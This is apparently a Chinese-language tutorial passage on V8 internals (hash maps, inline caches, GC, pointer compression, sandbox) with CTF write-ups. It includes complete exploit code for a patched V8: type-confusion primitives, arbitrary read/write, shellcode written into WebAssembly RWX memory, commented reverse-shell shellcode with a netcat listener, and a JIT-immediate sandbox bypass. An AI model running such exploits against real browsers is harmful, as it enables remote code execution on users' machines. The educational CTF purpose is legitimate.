// Store the key, value and connect the element to the bucket chain.
StoreOrderedHashMapNewEntry(table_var.value(), key, value,
entry_start_position_or_hash.value(),
number_of_buckets.value(), occupancy.value());
Return(receiver);
StoreOrderedHashMapNewEntry
的函数接口如下:
void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry(
const TNode<OrderedHashMap> table, const TNode<Object> key,
const TNode<Object> value, const TNode<IntPtrT> hash,
const TNode<IntPtrT> number_of_buckets, const TNode<IntPtrT> occupancy)
首先计算出将要添加的 Entry
的位置,这里获取的 entry_start
是相对于 HashTable
的偏移。
const TNode<IntPtrT> entry_start = IntPtrAdd(
IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
number_of_buckets);
之后依次写入 key
,value
,bucket_entry
,即整个 Entry
的结构。
UnsafeStoreFixedArrayElement(
table, entry_start, key, UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
UnsafeStoreFixedArrayElement(
table, entry_start, value, UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
UnsafeStoreFixedArrayElement(
table, entry_start, bucket_entry,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kChainOffset));
之后更新 bucket
和 number of elements
。
// Update the bucket head.
UnsafeStoreFixedArrayElement(
table, bucket, SmiTag(occupancy),
OrderedHashMap::HashTableStartIndex() * kTaggedSize);
// Bump the elements count.
const TNode<Smi> number_of_elements =
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset()));
StoreObjectFieldNoWriteBarrier(table,
OrderedHashMap::NumberOfElementsOffset(),
SmiAdd(number_of_elements, SmiConstant(1)));
delete
delete(key)
是 JSMap
中用来删除键值对的方法,具体接口定义如下:
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler)
首先 TryLookupOrderedHashTableIndex
查找 key
对应的 Entry
,这个的具体实现前面的 set
已经提到过了。
TryLookupOrderedHashTableIndex<OrderedHashMap>(
table, key, &entry_start_position_or_hash, &entry_found, ¬_found);
如果没有找到则返回 False
。
BIND(¬_found);
Return(FalseConstant());
如果找到了 Entry
就将 Entry
中的 key
和 value
修改为 Hole
。
BIND(&entry_found);
// If we found the entry, mark the entry as deleted.
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
之后将 number_of_elements
减一,number_of_deleted
加一。
// Decrement the number of elements, increment the number of deleted elements.
const TNode<Smi> number_of_elements = SmiSub(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
const TNode<Smi> number_of_deleted =
SmiAdd(CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfDeletedElementsOffset(),
number_of_deleted);
之后判断是否满足 number_of_elements + number_of_elements < number_of_buckets
则调用 shrink
将 elements
中的 Hole
清除。最后返回 True
。
const TNode<Smi> number_of_buckets = CAST(
LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));
// If there fewer elements than #buckets / 2, shrink the table.
Label shrink(this);
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
number_of_buckets),
&shrink);
Return(TrueConstant());
BIND(&shrink);
CallRuntime(Runtime::kMapShrink, context, receiver);
Return(TrueConstant());
Inline Cache
原理
对于确定的 map,我们可以知道 name property 所存储在 properties array 的位置。如果我们经过 JIT 生成的汇编里,函数所访问的 obj 的 map ,总是被我们缓存(cache) 的 map ,那么我们访问的 obj.X 的偏移永远是固定的。由此我们可以直接从 properties array 的固定偏移处取出我们想要的值 obj.X ,而不需要重新根据 map 检索 obj.X 所对应的偏移,从而可以加速。
对象的隐藏类(Hidden Class)
由于 JavaScript 对象没有类型信息,几乎所有 JS 引擎都采用隐藏类(Hidden Class/Shape/Map等)来描述对象的布局信息,用以在虚拟机内部区分不同对象的类型,从而完成一些基于类型的优化。
V8 对 JavaScript 对象都使用 HeapObject 来描述和存储,每一种 JavaScript 对象都是 HeapObject 的子类,而每个 HeapObject 都用 Map 来描述对象的布局。对象的 Map 描述了对象的类型,即成员数目、成员名称、成员在内存中的位置信息等。
隐藏类变迁(Map Transition)
因为JavaScript是高度动态的程序设计语言,对象的成员可以被随意动态地添加、删除甚至修改类型。因此,对象的隐藏类在程序的运行过程中可能会发生变化,V8内部把这种变化叫隐藏类变迁(Map Transition)。
类型反馈向量(type feedback vector)
对于某代码语句比如 this.x=x
,比较上次执行到该语句时缓存的 Map 和对象当前的 Map 是否相同,如果相同则执行对应的 IC-Hit 代码,反之执行 IC-Miss 代码。V8 会在 Point 函数对象上添加一个名 type_feedback_vector
的数组成员,对于该函数中的每处可能产生 IC 的代码,Point 对象中的 type_feedback_vector
会缓存上一次执行至该语句时对象的 Map 和对应的 IC-Hit 代码(在 V8 内部称为 IC-Hit Handler )。简单来说,type_feedback_vector
缓存了 Map 和与之对应的 IC-Hit handler ,这样 IC 相关的逻辑简化为只需要通过访问 type_feedback_vector
就可以判断是否 IC Hit 并执行对应的 IC-Hit Handler 。
IC状态机
为了描述 V8 中 IC 状态的变化情况,本节将以状态机的形式描述 V8 中最常见 IC 种类的状态变化情况。V8 中最常用的 IC 分为五个状态,如图所示,初始为 uninitialized 状态,当发生一次 IC-Miss 时会变为 pre-monomorphic 态,再次 IC-Miss 会进入 monomorphic 态,如果继续 IC-Miss ,则会进入 polymorphic 状态。进入 polymorphic 之后如果继续 IC-Miss 3 次,则会进入megamorphic 态,并最终稳定在 megamophic 态。
- 初始为 uninitialized 状态,当发生一次 IC-Miss 时(由于
type_feedback_vector
为空,一定会 IC-Miss)会变为 pre-monomorphic 态。IC-Miss Handler 会分析出此时 obj 的 Map 中不包含添加的属性,因此会添加新成员,接着会发生 Map Transition 。由于考虑到大部分函数可能只会被调用一次,因此 V8 的策略是发生第一次 IC-Miss 时,并不会缓存此时的 map ,也不会产生 IC-Hit handler 。 - 再次 IC-Miss 会进入 monomorphic 态。由于
type_feedback_vector
仍然为空,因此会发生第二次 IC-Miss ,并将IC状态修改为 monomorphic ,此次 IC-Miss Hanlder 除了发生 Map Transition 之外,还会编译生成 IC-Hit Handler ,并将 map 和 IC Hit Handler 缓存到type_feedback_vector
中。由于此次 IC-Miss Handler 需要编译 IC-Hit Handler 的操作比较耗时,因此第二次执行是最慢的。 - 第三次如果和上一次属性相同则
type_feedback_vector
不为空,且此时缓存的 map 与此时 obj 的 Map 也是一致的,因此会直接调用 IC-Hit Handler 来添加成员并进行 Map transition 。由于此次无需对 map 进行分析,也无需编译 IC-Hit Handler ,因此此时执行效率比前两次都高。 - 在 polymorphic 态 IC-Hit 时,需要对缓存进行线性查找。
- IC状态太多比如到达 megamorphic 态,此时 Map 和 IC-Hit Handler 便不会再缓存在 obj 的
type_feedback_vector
中,而是存储在固定大小的全局 hashtable 中,如果 IC 态多于 hashtable 的大小,则会对之前的缓存进行覆盖。Megamorphic 是性能最低的 IC-Hit ,因为需要每次对 hashtable 进行查找,但是 megamorphic ic hit 性能仍然优于 IC-Miss 。
GC
垃圾回收是⼀种在 V8 中单独管理 JavaScript 对象(称为 HeapObject )的机制,其功能是检测废弃的对象并⾃动释放它们。
GC 的空间划分
GC 有两种主要的 Generation 。根据存活时间分为 Young 和 Old Generation 。除此之外,还有⼀些区域不属于任何⼀个 Generation ,它被写为 Other ,但是其实是 Large Object Space 。在源代码中,有些地方包含 Old Generation 的 large object space 的描述,但是基本上认为它们是不同的东西。
Yong Generation
New Space
新创建的 object 除了code object,map object 和 large object 外都被保留在这里,并且受到 GC 管理。
GC 使用的算法是 Cheney’s algorithm ,在源码里被称为 Scavenge 。为了使用这种算法将 Young Generation 分为 From Space 和 To Space 两个区域。
Cheney’s algorithm
每⼀个对象最开始被放到 To Space 。
当 memory exhaustion(空间用完)时候,GC 被调用。主线程的操作( Javascript 执行的线程)被暂停。交换To Space 和 From Space 。
之后会把存活的对象复制到 To Space ,然后再次分配之前未分配完成的 obj-e 。这里判断存活 obj 的方法是从各种各样的 root objects (例如 global objects, built-in objects, local objects within the scope of living 等)和从 Old Space 可以访问的 object (Write Barrier mechanism)沿指针遍历出所有存活的 obj 。
之后,每次GC发生时,都会重复上面这⼀系列的流程。
Old Generation
old space
长期存活对象存放的区域,例如 New Space 中,在两次 GC 之后存活下来的 object ,具体参考 Heap::ShouldBePromoted()
。
old space 发生 GC 的频率比 new space 少,因此如果⼀个 object 被移动到 old space ,该 object 不会受到 GC 更改 layout 的影响。
code space
仅适用于 JIT 的 code object ,由于 code object 是 RWX ,因此它从一开始就保留在此区域中,由于它是JIT代码,因此不仅要读取(R)写⼊(W),还要执行(X),因此 memory permissions 与其他的地方不同。
map space
仅存放 Map object ,出于 GC 效率的考虑,Map object 从一开始就位于此区域。
Mark-Sweep-Compact
old generation 的 GC 算法是 Mark-Sweep-Compact ,即标记-清除-整理算法。
Other
即 Large Object Space ,用于存放 600KB 或更大的 object 的区域。它由 mmap 直接分配,如果有多个存放区域,则使用链表进行管理。它不在GC中移动。
Write Barrier
写屏障是⼀种减少时间开销的机制。
当 GC 想回收新生代中的内容的时候,如果此时有一个对象,且这个对象恰好被一个老年代所引用,那么这个时候,如果想回收这个对象,就需要去遍历老年代,这样开销比较大。
所以就引入了记录集,在更新对象的时候有个记录集,这个记录集内记录了所有老年代指向新生代的情况,即记录集里保存的实际上是指向老年代对象的指针。
在新生代中触发 GC 的时候,会将记录集里的老年代对象也当成根对象⼀样,扫描记录集,查看记录集里老年代对象引用的目标对象,进而更新引用的目标对象,再将发出引用的对象的指针更新到目标空间了。
在分代垃圾回收中,为了将老年代对象记录到记录集⾥,我们引⼊了写入屏障(write barrier)的概念。
在更新对象间的指针时候检查如下三点:
- 发出引用的对象是不是老年代对象
- 指针更新后的引用的目标对象是不是新生代对象
- 发出引用的对象是否还没有被记录到记录集中
如果这些条件都满足,就将老年代对象 obj 写入到记录集里。
例题:StarCTF 2019 OOB
附件下载链接
v8 commit:6dc88c191f5ecc5389dc26efa3ca0907faef3598
漏洞分析
观察 oob.diff
发现增加了如下功能,即任意数组可以以浮点数类型越界读写 8 字节。
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
泄露 Map
调试发现 JSArray
在内存中的结构如下图所示:
因此可以通过 oob
泄露 Map
地址。
var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();
print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));
类型混淆
通过 oob
修改 Map
构造实现浮点数数组和 objec t数组的类型混淆,进而构造 addressOf
和 fakeObj
两个利用原语。
addressOf
:传入一个 object , 返回它的地址,实现对任意 object 的地址泄漏。fakeObj
:传入一个地址,我们把这个地址指向的内存当做一个 object , 并将它返回。实现对任意 object 的伪造。
function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
function fakeObj(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
任意地址读写
任意地址读写如果用 DoubleArray
实现会有如下问题:
- 在数组进行元素访问时,它会和这个堆的基地址做一个 mask 的操作,保证了这个
elements
指针指向的内存段时属于 v8 的堆的范围。 - 在对伪造的浮点数数组进行操作的时候,触发了收集 Inline Cache 的函数,导致 SIGTRAP 。
DoubleArray
构造的任意地址读写只能读写elements + 0x10
,并且还会访问[elements, elements + 0x10)
范围内的数据,而如果是在 rwx 段写 shellcode 需要从起始位置开始写,因此不能用DoubleArray
构造的任意地址读写完成。
因此这里需要使用 ArrayBuffer
和 DataView
来构造任意地址读写。这里介绍两种方法:
-
伪造
DoubleArray
进行一次任意地址写修改一个ArrayBuffer
的BackingStore
指向另一个ArrayBuffer
的BackingStore
,之后每次任意地址读写都可以先用一个ArrayBuffer
改另一个ArrayBuffer
的BackingStore
然后利用另一个ArrayBuffer
进行任意地址读写。
需要注意的是伪造的DoubleArray
的Length
字段是一个Smi
类型,需要右移 32 位。var ab1 = new ArrayBuffer(0x8); var ab2 = new ArrayBuffer(0x1000); var dv1 = new DataView(ab1); var dv2 = new DataView(ab2); var ab1_bs_addr = addressOf(ab1) + 0x20n; var ab2_bs_addr = addressOf(ab2) + 0x20n; var float_array_mem = [ float_array_map, 0, u2d(ab1_bs_addr - 0x10n), u2d(0x100000000n), ]; fake_float_array = fakeObj(addressOf(float_array_mem) + 0x30n); fake_float_array[0] = u2d(ab2_bs_addr - 1n); function arbitrary_address_read(address) { dv1.setBigUint64(0, address, true); return dv2.getBigUint64(0, true); } function arbitrary_address_write(address, value) { dv1.setBigUint64(0, address, true); return dv2.setBigUint64(0, value, true); }
-
首先在
DoubleArray
中构造一个fake ArrayBuffer
,之后就可以通过DoubleArray
修改BackingStore
指针来进行任意地址读写。
var fake_ab_mem = [ u2d(0n), // Map u2d(0n), // Propertries u2d(0n), // Elements u2d(0x1000n), // ByteLength u2d(0n), // BackingStore u2d(0n), // Map u2d(0x1900042319080808n), // type ]; var fake_ab_addr = addressOf(fake_ab_mem) + 0x58n; fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n); var fake_ab = fakeObj(fake_ab_addr); var dv = new DataView(fake_ab); function arbitrary_address_read(address) { fake_ab_mem[4] = u2d(address); return dv.getBigUint64(0, true); } function arbitrary_address_write(address, value) { fake_ab_mem[4] = u2d(address); return dv.setBigUint64(0, value, true); }
劫持程序执行流程
利用 WebAssembly 写 shellcode
利用 WebAssembly
开辟 rwx 段。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
上面这段 WebAssembly
代码对应的 wat
代码如下,是通过这个网站反编译得到的。
(module
(type $t0 (func (result i32)))
(func $main (export "main") (type $t0) (result i32)
(i32.const 42))
(table $T0 0 funcref)
(memory $memory (export "memory") 1))
利用任意地址读泄露 rwx 段基址。
var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
写入 shellcode 并调用 WebAssembly
对应函数执行 shellcode 。
var shellcode = [
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
// var shellcode=[
// 0x6a5f026a9958296an,
// 0xb9489748050f5e01n,
// 0x0100007f39300002n,
// 0x6a5a106ae6894851n,
// 0x485e036a050f582an,
// 0x75050f58216aceffn,
// 0x2fbb4899583b6af6n,
// 0x530068732f6e6962n,
// 0xe689485752e78948n,
// 0x000000000000050fn]
//nc -lvvp 12345
for (let i = 0; i < shellcode.length; i++) {
arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();
劫持 __free_hook
通过构造函数例如 Array
可以泄露 ELF 加载基址,进而通过 got 表泄露 libc 加载基址。
利用任意地址写修改 __free_hook
为 system
函数地址,之后 print
输出要执行的命令,在释放写有命令的堆块的时候实现任意命令执行。
var array_addr = addressOf(Array);
var elf_base = arbitrary_address_read(arbitrary_address_read(array_addr - 1n + 0x30n) + 0x41n) - 0xf8f680n;
print("[*] elf base: " + hex(elf_base));
var libc_base = arbitrary_address_read(elf_base + 0x1271b90n) - 0x7b0c0n;
print("[*] libc base: " + hex(libc_base));
var system_addr = libc_base + 0x4f420n;
var free_hook_addr = libc_base + 0x3ed8e8n;
arbitrary_address_write(free_hook_addr, system_addr);
print("/snap/bin/gnome-calculator");
exp
function gc() {
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();
print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));
function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
function fakeObj(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
var fake_ab_mem = [
u2d(0n), //Map
u2d(0n), //Propertries
u2d(0n), //Elements
u2d(0x1000n), //ByteLength
u2d(0n), //BackingStore
u2d(0n),
u2d(0x1900042319080808n),//type
];
var fake_ab_addr = addressOf(fake_ab_mem) + 0x58n;
fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObj(fake_ab_addr);
var dv = new DataView(fake_ab);
function arbitrary_address_read(address) {
fake_ab_mem[4] = u2d(address);
return dv.getBigUint64(0, true);
}
function arbitrary_address_write(address, value) {
fake_ab_mem[4] = u2d(address);
return dv.setBigUint64(0, value, true);
}
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
var shellcode = [
0x9090909090909090n,
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
// var shellcode=[
// 0x6a5f026a9958296an,
// 0xb9489748050f5e01n,
// 0x0100007f39300002n,
// 0x6a5a106ae6894851n,
// 0x485e036a050f582an,
// 0x75050f58216aceffn,
// 0x2fbb4899583b6af6n,
// 0x530068732f6e6962n,
// 0xe689485752e78948n,
// 0x000000000000050fn]
//nc -lvvp 12345
for (let i = 0; i < shellcode.length; i++) {
arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();
Heap Sandbox
指针压缩
以 ArrayBuffer
为例,正常情况下的内存分布如下图所示:
在 V8 高版本中会基于数据 4GB 对齐所有指针高 32 位相同而只保留低 32 位而指针(类似于32位下的 HeapObject 指针),而基址存放在 r13 寄存器指向的内存中,从而节省空间。
因此 ArrayBuffer
的内存分布图如下图所示:
在地址泄露的时候可以将指针覆盖成 0 这样就可以泄露基址附近的数据,从而泄露基址。
沙箱
指针压缩的方法虽然在一定程度上把任意地址读写限制在了 4GB 的 V8 堆的范围内,然而 V8 的某些对象比如 ArrayBuffer
中还存在不指向 V8 对象的指针(例如示例中的 BackingStorage
和 ArrayBufferExtension
),这些指针不会被指针压缩所以依然可以实现任意地址读写,而沙箱的作用就是限制这些指针的任意地址读写范围。
在开启沙箱后 ArrayBuffer
的内存分布图如下图所示:
沙箱的具体实现方式有两种:
-
一种是类似上图中的
ArrayBufferExtension
指针。在开启沙箱后,ArrayBufferExtension
存储的不再是堆地址,而是一个叫做 External Pointer Table 的表的下标,而在这个表的对应索引处存放着ArrayBufferExtension
对应结构的地址和类型。这样攻击者就只能访问ArrayBufferExtension
中存放的信息对应的结构而不能实现任意地址读写且不易实现类型混淆。
-
另一种类似上图中的
BackingStorage
。在开启沙箱后BackingStorage
指针存放的是BackingStorage
地址与沙箱基址偏移(40bit)左移 24bit 的结果。这个方式和指针压缩相同(实际上基址也相同),只不过访问范围变为 1TB 。
因此沙箱的整体结构如下图所示:
实际的调试结果如下图所示,注意 rwx 段不在沙箱中,因此利用 ArrayBuffer
无法将 shellcode 写入 rwx 段。
沙箱绕过
利用立即数写 shellcode
这里以一个 demo 为例介绍这种沙箱绕过方法。
首先搭建环境:
git reset --hard bd5b3ae5422e9fa1d0f7a281bbdf709e6db65f62
export DEPOT_TOOLS_UPDATE=0
export PATH=$PATH:~/tools/depot_tools/
gclient sync -D
git apply ./sandbox.diff
./build/install-build-deps.sh
./tools/dev/gm.py x64.release
其中 sandbox.diff
文件内容如下:
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 49fe48d698..2944eb9edb 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -395,6 +395,25 @@ BUILTIN(ArrayPush) {
return *isolate->factory()->NewNumberFromUint((new_length));
}
+BUILTIN(ArrayLen) {
+ uint32_t len = args.length();
+ if(len != 2) return ReadOnlyRoots(isolate).undefined_value();
+
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+
+ Handle<Object> argLen;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, argLen, Object::ToNumber(isolate, args.at<Object>(1)));
+ uint32_t newLen = static_cast<uint32_t>(argLen->Number());
+
+ auto raw = *array;
+ raw.set_length(Smi::FromInt(newLen));
+ return ReadOnlyRoots(isolate).undefined_value();
+}
+
namespace {
V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 859b5cee9a..a16a7d5ca1 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -392,6 +392,7 @@ namespace internal {
CPP(ArrayPrototypeGroupToMap) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayLen) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift) \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 5888a5cdab..5d13eac799 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1880,6 +1880,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtin::kArrayPush:
return t->cache_->kPositiveSafeInteger;
+ case Builtin::kArrayLen:
+ return Type::Receiver();
case Builtin::kArrayPrototypeReverse:
case Builtin::kArrayPrototypeSlice:
return Type::Receiver();
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 7c7b917502..550b25d4ba 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1808,6 +1808,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
0, false);
SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
1, false);
+ SimpleInstallFunction(isolate_, proto, "len", Builtin::kArrayLen,
+ 2, false);
SimpleInstallFunction(isolate_, proto, "reverse",
Builtin::kArrayPrototypeReverse, 0, false);
SimpleInstallFunction(isolate_, proto, "shift",
可以看出,这里在 v8 中添加了一个可以修改 JSArray
长度属性的操作 len
。
这里先实现一下 address of 和 fake object 两个利用原语,具体方法可以是越界写数组元素或伪造 Map
。
这里有几个需要注意的点:
- 通过修改
Map
使得ObjectArray
变为DoubleArray
后可以以 double 形式读取到数组中的元素但是不能以 double 形式写入值,即数组的读和写的类型检查不同。如果想要能以 double 形式写入值需要伪造element
的Map
。 - 应当先触发 JIT 再实现两个利用原语,因为 JIT 会导致前面构造的
Array
的各个结构的相对位置发生变化。 - 通过 GC 将 Array 置于 Old Space 后
elememt
成员放到最后,不容易利用。 - 由于指针压缩导致成员大小是 4 字节,而
DoubleArray
是 8 字节写,因此需要注意尽量不要覆盖其它成员。
首先有如下函数:
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
上面这种形式的函数 JIT 后的汇编代码如下,显然其中的立即数是可以控制的,并且可以通过堆内任意地址写修改 code_entry_point
指向汇编代码中的立即数,因此可以像这道题一样在立即数中写 shellcode 。
这里需要注意的是 vmovsd
函数在后面 QWORD PTR [rcx+offset]
中的 offset
在从 0x7f 变为 0x87 的时候指令长度增加了 3 字节,因此需要注意需要修改 jmp
的跳转偏移或者避免使用 rcx 寄存器。因为 rcx 被用来写数据所以原本是指向可读写的内存,因此指向下面这条指令不会出错。
另外注意 shellcode 最终执行的是 execve("/usr/bin/xcalc", &"/usr/bin/xcalc", &"DISPLAY=:0");
,对应那些二级字符串指针的参数需要进行 0 截断。
exp 如下:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
oob_array.len(114514);
var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[11]);
print("[*] object array map: " + hex(object_array_map >> 32n));
print("[*] double array map: " + hex(double_array_map >> 32n));
function offset_of(obj) {
oob_array[2] = u2d(object_array_map);
object_array[0] = obj;
oob_array[2] = u2d(double_array_map);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}
function fake_object(offset) {
oob_array[11] = u2d(double_array_map);
double_array[0] = u2d(offset);
oob_array[11] = u2d(object_array_map);
return double_array[0];
}
function read(offset) {
oob_array[18] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[18]) & 0xFFFFFFFFn));
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[18] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[18]) & 0xFFFFFFFFn));
rw_array[0] = u2d(value);
}
shellcode_offset = offset_of(shellcode);
leak_offset = (read(shellcode_offset + 0x18n) & 0xFFFFFFFFn) + 8n;
leak_data = read(leak_offset);
code = leak_data & 0xFFFFFFFFn;
code_entry_point = leak_data >> 32n;
write(leak_offset, code | ((code_entry_point + 0x66n) << 32n));
print("[*] leak offset: " + hex(leak_offset));
// %DebugPrint(shellcode);
// % SystemBreak();
shellcode();
通常可以使用如下脚本生成 shellcode 。注意跳转距离可能会有变化,需要调整。
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
iss=1
def convert(x):
global iss
print(str(iss)+':'+str(len(x)))
